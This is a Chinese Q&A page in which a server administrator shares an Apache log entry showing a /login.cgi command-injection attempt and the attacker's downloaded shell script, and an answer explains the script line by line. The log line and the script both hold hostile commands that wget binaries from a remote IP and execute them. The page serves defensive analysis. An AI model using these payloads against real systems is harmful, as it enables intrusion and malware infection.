这个bash脚本做什么?[尝试失败]

ndom91

我一直在注意我的服务器apache日志,最近出现了以下奇怪的几行:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。

但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底是做什么的。关于删除/ var和/ tmp中的arch文件夹的东西?

无论如何,这里是:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
00

逐行:

#!/bin/sh

建立sh外壳,以shebang行为准。sh%20/tmp/ks在请求中将覆盖此内容,因此此行将被视为普通注释并被忽略。

u="asgknskjdgn"

声明一个任意名称,大概是为了避免与其他文件名冲突。我不确定为什么他们不仅仅使用mktemp,但是也许并非在所有平台上都可用。

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

列举了几种常见的CPU体系结构。

http_server="80.211.173.159"
http_port=80

具有漏洞利用的服务器。

cd /tmp/||cd /var/

尝试将目录更改为Web服务器可能能够创建文件的位置。我相信SELinux将通过对Web服务器执行比文件系统自身执行的更为严格的规则来帮助解决此问题。

for name in $bin_names
    do

对于每种CPU架构...

    rm -rf $u

删除以前尝试的漏洞利用程序。因为下一行不必要,所以可以忽略。

    cp $SHELL $u

复制当前的shell可执行文件(/bin/sh)。由于下一行之后可以忽略。

    chmod 777 $u

使每个人都可以完全访问新文件。这应该在wget命令之后,这可能是Shell脚本新手的标志,也可能是错误定向技术的标志。

    >$u

清空文件。由于下一行毫无意义。

    wget http://$http_server:$http_port/$name -O -> $u

使用此架构的利用脚本覆盖文件。-O -> $u可能已经写了-O - > $u(连字符表示应该将下载内容写到标准输出中),它等效于-O $u

    ./$u $name

以架构为第一个参数运行漏洞利用脚本。

done

结束循环。

看起来这是一个琐碎的利用尝试脚本,针对各种CPU平台尝试已知的利用。我不知道为什么它会覆盖$u3次,但是这些操作可能只是在脚本的早期迭代中仍然存在。大概早期版本的漏洞利用是经过硬编码的,而不是动态提供的-前者比较容易,但是几乎可以保证,随着漏洞的修复,脚本会随着时间的推移效率降低。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

这个脚本在做什么?

来自分类Dev

这个shell脚本做什么?

来自分类Dev

这个expr在shell脚本中做什么?

来自分类Dev

set -u在bash脚本中做什么?

来自分类Dev

bash脚本中的“ $ @”是做什么的?

来自分类Dev

这个演员做什么?

来自分类Dev

这个BASH regex脚本有什么错误?

来自分类Dev

这个 bash 脚本有什么作用?

来自分类Dev

这个 bash 脚本代码有什么作用?

来自分类Dev

bash中的这行是做什么的?参数-||脚本名

来自分类Dev

bash脚本中的“ set -x”是做什么的?

来自分类Dev

bash脚本中的“ bm_start”是做什么的?

来自分类Dev

这个shell命令做什么?

来自分类Dev

这个异常类做什么?

来自分类Dev

这个“加入”是做什么的?

来自分类Dev

这个命令是做什么的

来自分类Dev

这个vim命令做什么?

来自分类Dev

这个命令会做什么

来自分类Dev

为什么这个简单的Groovy脚本在Jenkins管道中失败?

来自分类Dev

使用 'watch' 的 Bash 脚本失败。为什么?

来自分类Dev

浏览器下载了这个清晰的PHP脚本。到底在做什么

来自分类Dev

浏览器下载了这个清晰的PHP脚本。到底在做什么

来自分类Dev

&>在bash中做什么?

来自分类Dev

Bash语句做什么

来自分类Dev

这个bash脚本中发生了什么细节?

来自分类Dev

我在这个bash脚本中做错了什么?

来自分类Dev

这个Bash脚本菜单有什么问题?

来自分类Dev

这个 bash 脚本有什么问题(cron + mysql)

来自分类Dev

为什么这个 bash 脚本不改变路径?